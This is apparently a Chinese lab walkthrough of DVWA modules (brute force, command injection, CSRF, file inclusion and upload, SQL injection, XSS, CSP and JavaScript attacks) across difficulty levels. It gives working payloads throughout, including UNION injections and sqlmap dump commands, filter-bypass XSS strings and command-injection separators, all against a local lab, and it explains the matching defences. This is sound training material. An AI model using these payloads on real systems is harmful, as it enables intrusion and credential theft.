Brute Force
LOW
- 随便在登录框输入用户名和密码
- 开启代理,打开burpsuite工具,点击login并拦截包
把包放到intrude测试器模块
1.点击清除把所有变量清除
2.分别双击输入的用户名和密码,点击添加,变为有效载荷
3.选择攻击类型,攻击类型有四种,这里出于实际情况,我们选择第四种集束炸弹的模式
Sniper: 单参数爆破,多参数时使用同一个字典按顺序替换各参数,只有一个数据会被替换
Battering ram: 多参数同时爆破,但用的是同一个字典,每个参数数据都是一致的
Pichfork: 多参数同时爆破,但用的是不同的字典,不同字典间数据逐行匹配
Cluster bamb: 多参数做笛卡尔乘积模式爆破
载入字典后,进行爆破
根据长度进行判断,与其他数字不同的为攻击成功的账号密码,以及通过查看响应可知攻击成功
源码分析:
Meduim
Meduim步骤与Low中的相同,但是在Meduim中对登录失败后进行了两秒的休眠,使得在这两秒内不能进行登录,延长了爆破时间。
High
源码分析:
爆破阶段:
输入用户名和密码。用burpsuite进行抓包
清除变量,选中密码变量和token变量并添加为载荷,选择第三种攻击方式,表示使用两个字典,密码和token的值进行逐行匹配
设置密码参数:
设置token参数:
跳转到Resource pool选项页面
修改线程为1,大于1可能会有问题,因为token是每次验证完后才会新生成token,所以不能使用多线程进行爆破
跳转到options界面:
点击Add
返回payloads界面
开始爆破,根据长度确定攻击成功的密码
impossible
增加账户锁定机制,防止爆破
Command Injection
Low
提示我们输入IP地址,输入127.0.0.1
发现是乱码,解决方法:
打开靶场里面的dvwaPage.ini.php文件,在文件中ctrl+f,用搜索栏查找utf-8,将UTF-8改为GBK或者GB2312即可
修改之后,根据回显信息可知道在这里可以执行ping命令
源码分析:
命令连接符
& :前面一个命令无论是否执行,后面的命令都能执行,两个命令都执行
&&:前面一个命令执行成功后,才能执行后面一个命令,两个命令都执行
|:前面一个命令无论是否执行,后面的命令都能执行且只执行后面一个
||:前面一个命令不能正常执行后,才能执行后面一个命令
使用“|”符号作为连接符让计算机做出除ping以外的操作实现命令注入
127.0.0.1|dir
注入成功
Medium
源码分析:
使用127.0.0.1&dir
High
源码分析:
使用127.0.0.1|dir
impossible
CSRF
Low
在输入要更改的密码后,有回显更改成功,在url里http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change# 可以分析出password_new是输入的密码,password_conf是确认的密码,说明我们在网站上输入的信息是会在url栏这里进行一个传输执行
在url里修改密码确认密码,在新标签页里进行访问http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=987654&password_conf=987654&Change=Change#
网站跳转,并且有修改成功之后的回显,说明攻击成功
源码分析:
代码中只对输入的密码和确认的密码进行匹配,没有任何的过滤
Medium
源码分析:
和Low等级比较发现,只有一处改变,即在传入密码和确认密码参数前先进行了一个if语句的判断,判断里面的内容主要是验证这个访问请求是否是从dwva网站本身发起的,若不是就不执行后面的操作
源码是通过referrer这个字段的参数进行判断的,通常情况下在增加referrer验证时就是网站本身当前页面的ip地址,通过抓包查看信息
referer的值是当前网站的
在新的标签页中打开http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=987654&password_conf=987654&Change=Change#,并进行抓包,可以发现没有referer,需要进行伪造,Referer: http://127.0.0.1/DVWA/vulnerabilities/csrf/ ,然后放包,即可修改成功
High
源码分析:
通过查看源码
可以看出high等级的主要区别是增加了一个token值的校验,每次登录都会校验token是否正确,若想要执行更改密码操作必须知道正常用户的token
因为该请求是get请求,所以token验证会被放在请求URL中,我们随便输入密码验证一下,可以看到,在请求的URL中最末尾加入了token
进行抓包,使用burpsuite中的从csrf token tracker
有了这个插件之后,每次重放这个数据包都会自动更新user_token
设置对应的参数,返回repeater模块
密码修改成功
impossible
只有知道旧密码的前提下才能修改
File Inclusion
文件包含漏洞常用到的函数:
require:找不到被包含的文件,报错,并且停止运行脚本。
include:找不到被包含的文件,只会报错,但会继续运行脚本。
require_once:与require类似,区别在于当重复调用同一文件时,程序只调用一次。
include_once:与include类似,区别在于当重复调用同一文件时,程序只调用一次。
Low
通过分析源码,没有任何的过滤,直接查看文件
可查看到file4.php的文件
Medium
可以通过输入绝对路径绕过
Heigh
fnmatch() 函数根据指定的模式来匹配文件名或字符串。
语法:fnmatch(pattern,string,flags)
这里如果输入的file名没有“file”,而且文件名不是include.php的话就会报错,
换句话说输入的文件名是含有file字符串或者是include.php,否则会报错
输入?page=file4.php
impossible
写白名单,只允许包含上述四种文件
File Upload
Low
通过分析源码可知对没有过滤,可直接上传
Medium
发现对文件类型和大小做出了限制 必须是jpeg 或者 png
使用burpsuite抓包进行修改
文件上传成功
High
通过分析源码,
getimagesize(string filename)
函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。
可以看到,High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是”*.jpg”所以制作图片马,将图片与木马合并为图片
impossible
可以看到,Impossible级别的代码对上传文件进行了重命名(为md5值,导致%00截断无法绕过过滤规则),加入Anti-CSRF token防护CSRF攻击,同时对文件的内容作了严格的检查,导致攻击者无法上传含有恶意脚本的文件。
SQL Injection
$id | 数字型(id=$id) | 字符型(id=”$id“) |
1 and 1=1 | id=1 and 1=1 返回正常 | id=‘1 and 1=1’ 返回正常 |
1 and 1=2 | id=1 and 1=2 返回错误 | id=‘1 and 1=2’ 返回正常 |
1 or 1=1 | id= 1 or 1=1 返回正常 | id= ‘1 or 1=1’ 返回正常 |
1 or 1=2 | id=1 or 1=2 返回正常 | id=‘1 or 1=2’ 返回正常 |
1’ | id=1’ 返回错误 | id=‘1’’ 返回错误 |
1’ --+ | id=1’ --+ 返回错误 | id=‘1’ --+’’ 返回正常 |
Low
输入id=1,查看回显
输入 1 and 1=2 提交
发现1=2并没有执行,尝试闭合
发生报错,说明1=2执行了,所以存在注入
判断字段数 order by
根据报错可知字段数为2
确定显示的字段顺序
使用联合查询 1' union select 1,2# 看一下回显的位置
可以看到 1,位置的语句会在 name出回显 2,位置的语句在surname回显
查看数据库及版本 1' union select database(),version()#
获取数据库里的表
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
查看users表中的字段名
1‘ union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#
查询users表中user和password的数据
1' union select user,password from users limit 0,1#
Medium
选择不同的id显示对应的name,没有在url中传参,猜测为post传参
使用burpsuite抓包 ,修改id=4
判断是否有注入,修改为1 and 1=2 1 and 1=1
根据回显,判断为数字型注入
判断字段数
根据回显可知字段数为2
判断回显点
查询数据库名和版本
查询数据库中的表名
查询users表中的字段名
发生报错,由于MySQL默认支持16进制编解码,故对users进行16进制编码
查询users表中的user和password数据
High
点击链接传参
判断是否存在注入
判断字段数
1'order by 3
观察回显位
1' union select 1,2
获取数据库名及版本
1' union select database(),version()
查询数据库中的表名
1' union select version,group_concat(table_name) from information_schema.tables where table_schema=database()
查询表中的字段名
1' union select version(),group_concat(column_name) from information_schema.columns where table_schema=database() and table name='users'
查询表中的user和password字段的数据
1' union select user,password from users limit 0,1
impossible
限制只能为数字,不存在注入
SQL Injection (Blind)
Low
先输入
输入1
显示存在
输入1 and 1=1 或 1 and 1=2
均显示存在
输入1' and 1=1 #
显示存在(这三种都显示存在)
输入1' and 1=2 #
不存在
说明存在注入
1.查数据库前要先判断数据库的长度
依次输入1' and length(database())=x #(x为大于等于1的整数)
当显示存在时即为数据库长度
发现当x=4时显示存在,故数据库长度为4
2.二分法找数据库名
依次输入1' and ascii(substr(databse(),1,1))>或<字母的ascii值 # 通过比较输入字母的ascii值的显示正常与否来逐个确定库名
3.找数据库中的表
首先确定数据库中表的数量
1' and (select count (table_name) from information_schema.tables where table_schema=database())=x # (x为大于等于1的整数)
当显示存在时即可判断表的数量
最终当x=2显示存在即表的数量为2
然后确定表的长度
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=x #(x为大于等于1的整数)
当显示存在时即可判断表的长度
当x=9显示存在即表的长度为9
然后同样二分法确定表名
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>或<字母的ascii值 #
通过比较输入字母的ascii值的显示正常与否来逐个确定表名 步骤同第二步
4.找字段名
同上一步 先确定数量 再用二分法确定名称
sqlmap
使用sqlmap,用以下命令进行跑包:
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie "PHPSESSID=amv13uu59s3bk067v8fphftos0; security=low" --batch
–batch:在进行命令交互式的时候,默认选择为YES
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie "PHPSESSID=amv13uu59s3bk067v8fphftos0; security=low" --batch --technique=B
查询当前数据库
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie "PHPSESSID=amv13uu59s3bk067v8fphftos0; security=low" --batch --technique=B --current-db
查询数据库下的表名:
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie "PHPSESSID=amv13uu59s3bk067v8fphftos0; security=low" --batch --technique=B --current-db -D dvwa --tables
查询users表下的字段名
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie "PHPSESSID=amv13uu59s3bk067v8fphftos0; security=low" --batch --technique=B --current-db -D dvwa -T users --columns
查询数据:
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie "PHPSESSID=amv13uu59s3bk067v8fphftos0; security=low" --dump -D dvwa -T users --dump -C "users,password"
Medium
选择不同的ID,返回的结果都为User ID exists in the database.,并且URL栏中没有相关传参,猜测可能使用了POST传参,对当前页面抓取数据包
发送到repeater模块,将id=1改为id=123
页面发生了变化,满足布尔类型的盲注
使用sqlmap自动化注入
将当前页面的数据包信息,复制到本地的txt文本里面,并在id=处标记*号,将文本保存在sqlmap的根目录
sqlmap跑post型数据包,-r
python sqlmap.py -r 1.txt --technique=B --batch
查询当前数据库
python sqlmap.py -r 1.txt --technique=B --batch --current-db
查询该数据库下的所有表
python sqlmap.py -r 1.txt --technique=B --batch -D dvwa --tables
获取users表中的字段名
python sqlmap.py -r 1.txt --technique=B --batch -D dvwa -T users --columns
查询数据
python sqlmap.py -r 1.txt --technique=B --batch -D dvwa -T users -C user,password --dump
High
传参id=2时
传参id=123时
满足布尔盲注条件,使用sqlmap自动化跑包
由于这里输入时一个url,响应时是另一个url,所以要使用参数-second-url=(设置二阶响应的结果显示页面的url)
传参使用的是post请求,需要抓取请求包
传参为id=2&Submit=Submit
sqlmap命令:
python sqlmap.py -u "127.0.0.1/DVWA/vulnerabilities/sqli_blind/cookie-input.php" --data="id=2&Submit=Submit" --second-url="http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/" --cookie="id=2; PHPSESSID=amv13uu59s3bk067v8fphftos0; security=high" --batch
指定攻击类型为布尔盲注
python sqlmap.py -u "127.0.0.1/DVWA/vulnerabilities/sqli_blind/cookie-input.php" --data="id=2&Submit=Submit" --second-url="http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/" --cookie="id=2; PHPSESSID=amv13uu59s3bk067v8fphftos0; security=high" --batch --technique=B
查询当前数据库
python sqlmap.py -u "127.0.0.1/DVWA/vulnerabilities/sqli_blind/cookie-input.php" --data="id=2&Submit=Submit" --second-url="http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/" --cookie="id=2; PHPSESSID=amv13uu59s3bk067v8fphftos0; security=high" --batch --technique=B --current-db
查询该数据库下所有的表名
python sqlmap.py -u "127.0.0.1/DVWA/vulnerabilities/sqli_blind/cookie-input.php" --data="id=2&Submit=Submit" --second-url="http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/" --cookie="id=2; PHPSESSID=amv13uu59s3bk067v8fphftos0; security=high" --batch --technique=B -D dvwa --tables
查询users表中的字段名
python sqlmap.py -u "127.0.0.1/DVWA/vulnerabilities/sqli_blind/cookie-input.php" --data="id=2&Submit=Submit" --second-url="http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/" --cookie="id=2; PHPSESSID=amv13uu59s3bk067v8fphftos0; security=high" --batch --technique=B -D dvwa -T users --columns
获取user和password字段名的数据
python sqlmap.py -u "127.0.0.1/DVWA/vulnerabilities/sqli_blind/cookie-input.php" --data="id=2&Submit=Submit" --second-url="http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/" --cookie="id=2; PHPSESSID=amv13uu59s3bk067v8fphftos0; security=high" --batch --technique=B -D dvwa -T users -C user,password --dump
impossible
token校验,防止CSRF攻击
参数校验,确保参数是数字类型才会执行,才会进入sql语句执行的逻辑,sql执行需要经过预编译处理
Weak Session IDs
cookie
位于用户的计算机上,用来维护用户计算机中的信息,直到用户删除。比如我们在网页上登录某个软件时输入用户名及密码时如果保存为cookie,则每次我们访问的时候就不需要登录网站了。我们可以在浏览器上保存任何文本,而且我们还可以随时随地的去阻止它或者删除。我们同样也可以禁用或者编辑cookie,但是有一点需要注意不要使用cookie来存储一些隐私数据,以防隐私泄露。
session
session称为会话信息,位于web服务器上,主要负责访问者与网站之间的交互,当访问浏览器请求http地址时,将传递到web服务器上并与访问信息进行匹配, 当关闭网站时就表示会话已经结束,网站无法访问该信息了,所以它无法保存永久数据,我们无法访问以及禁用网站。
session与cookie的区别
(1)cookie以文本文件格式存储在浏览器中,而session存储在服务端它存储了限制数据量。它只允许4kb它没有在cookie中保存多个变量。
(2)cookie的存储限制了数据量,只允许4KB,而session是无限量的
(3)我们可以轻松访问cookie值但是我们无法轻松访问会话值,因此它更安全
(4)设置cookie时间可以使cookie过期。但是使用session-destory(),我们将会销毁会话。
Low
审计代码
可以看到每点击一次generate,sessionid+1,并且设置在cookie中
使用burp suite抓包获取cookie
根据上面的数据,用hacker提交cookie
Medium
medium级别是基于时间戳生成dvwaSesion的,关于时间戳转换,直接查找转换器进行转换即可
High
dvwasession很像md5加密,cookie的值是点击次数的md5加密
impossible
$cookie_value采用随机数+时间戳+固定字符串"Impossible",再进行sha1运算,完全不能猜测到dvwaSession的值
XSS(DOM)
Low
观察界面,当选择不同的标签时,URL栏中的default也会发生变化
default可能是个传参点
传入xss代码<script>alert(1)</script>
Medium
源码分析:过滤掉了<script标签,当传入<script>alert(1)</script>时,会强制跳转到English
尝试使用事件型<img src=# οnerrοr=alert(1)>
使用F12检查当前元素
发现传入的代码在select标签中,所以需要进行闭合</select><img src=# οnerrοr=alert(1)>
High
源码分析:设置了白名单 只允许 靶场中四个选项 但是因为&后面的东西不会发送到服务端 所以可以通过加&绕过 步骤和上面一样只不过需要加上&
English&<script>alert(1)</script>
impossible
服务端没有代码,主要是在客户端处理,看到如下源代码,由于我们在url中输入的任何符号,都会被url编码,以下源代码在渲染我们输入的值的时候,因为没有进行解码,所以即使我们输入了xss注入的攻击代码,也无法被客户端执行。
直接将lang渲染在option中,并没有对lang进行解码,所以无法造成xss注入
XSS(Reflected)
Low
源码分析:对输入的name没有进行任何的过滤
无论传入什么值,页面都会有回显内容,并且与输入的name一致
对url中的name输入xss代码<script>alert(1)</script>
Medium
通过分析源码发现<script>标签被过滤
构造代码<scr<script>ipt>alert(1)</script>或者大小写绕过<sCript>alert(1)</ScRipt>
High
源码分析:这里使用了正则表达式,使得<script>标签被完全过滤
使用事件型xss代码<img src="#" οnerrοr=alert(1)>
impossible
htmlspecialchars()这个函数的的功能:是把预定义的字符&、"、'、<、>转换为 HTML 实体,防止浏览器将其作为HTML元素。这种做法可以直接避免XSS攻击
XSS(Stored)
Low
输入的内容进行了存储
输入xss代码<script>alert(1)</script>
name处输入的字符受到限制,用F12查看当前元素
修改字符长度
源码分析:代码对输入的message和name并没有进行XSS过滤,而且数据存储在数据库中,存在比较明显的存储型XSS漏洞
Medium
源码分析:Message处使用了htmlspecialchars()函数,将字符全部转为了HTML实体,因此Message处无法使用XSS形成攻击。可以使用双写绕过<scri<script>pt>alert(1)</script>
High
<script>被过滤
使用事件型 <img src=# οnerrοr=alert(1)>
impossible
token校验,防止CSRF攻击
数据消毒
使用htmlspecialchars()将输入转为HTML实体
使用stripslashes()函数过滤反斜杠,mysqli_real_escape_string()函数对特殊符号进行转义
对数据库操作进行预编译处理
通过prepare与占位符,进行预编译处理数据库操作
Content Security Policy (CSP) Bypass
内容安全策略(CSP)使服务器管理员可以通过指定浏览器应认为是可执行脚本的有效源的域来减少或消除XSS可能发生的向量。然后,兼容CSP的浏览器将仅执行从这些允许列出的域接收的源文件中加载的脚本,忽略所有其他脚本(包括内联脚本和事件处理HTML属性)。
除了限制可以从中加载内容的域之外,服务器还可以指定允许使用哪些协议; 例如(理想情况下,从安全角度来看),服务器可以指定必须使用HTTPS加载所有内容。完整的数据传输安全策略不仅包括强制HTTPS进行数据传输,还包括使用安全标记标记所有cookie,并提供从HTTP页面到其HTTPS对应项的自动重定向。站点还可以使用Strict-Transport-SecurityHTTP标头来确保浏览器仅通过加密通道连接到它们。
两种方法可以启用 CSP。
一种是通过 HTTP 头信息的Content-Security-Policy的字段。
一种是通过网页的<meta>标签
Low
从源代码中$headerCSP可以看出来,这里定义了几个受信任的站点,只能允许这几个站点的脚本才可以运行。
在源代码中也给我们了一个测试站点https://pastebin.com/raw/R570EE00
Medium
这里把其它的安全站点都去掉了,加上了unsafe-inline,如果加上这个参数,就不会阻止内联脚本,如内联< script>元素,javascript:URL,内联事件处理程序(如onclick)和内联元素
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>
High
CSP 规则这里十分苛刻,只能引用允许self 的脚本执行,self是指本页面加载的脚本
构造Poc/DVWA/vulnerabilities/csp/source/jsonp.php?callback=alert(1)
,触发弹窗
impossible
使用HTTP的 Content-Security-Policy头部指定策略
使用meta标签限制表单
JavaScript Attacks
JavaScript是一种基于对象和事件驱动的、并具有安全性能的脚本语言。是一种解释型语言(代码不需要进行预编译)。通常JavaScript脚本是通过嵌入在HTML中来实现自身的功能的
Low
输入success后,这里提示,需要token,查看网页源码。
可能是md5加密,进行解密结果提示不对,说明还有其他加密方式,通过查看源码rot13加密
解密后发现是changeme。那么直接给success加密。先使用rot13加密,而后md5加密。在给那个hidden传值。最后输入success。
Medium
输入success后同样需要token,查看网页源码
这个仔细观察他只是把changeme到着写,而后在开头和最后加上了xx,所以再给hidden传入XXsseccusXX
High
查看源码
在线js进行解密,解密成功后发现,这里有三个token。token1因为设定原因没有先进行,所以就要先给token1 进行,而后进行token2,最后在进行token3。token3需要点击一下提交键,即可触发。
impossible
大致意思就是:你永远不能相信来自用户的任何输入,而且必须对此做出防备,但你又不能阻止用户的输入,因为这样可能会干扰网站的正常使用,所以压根就不存在Impossible级别。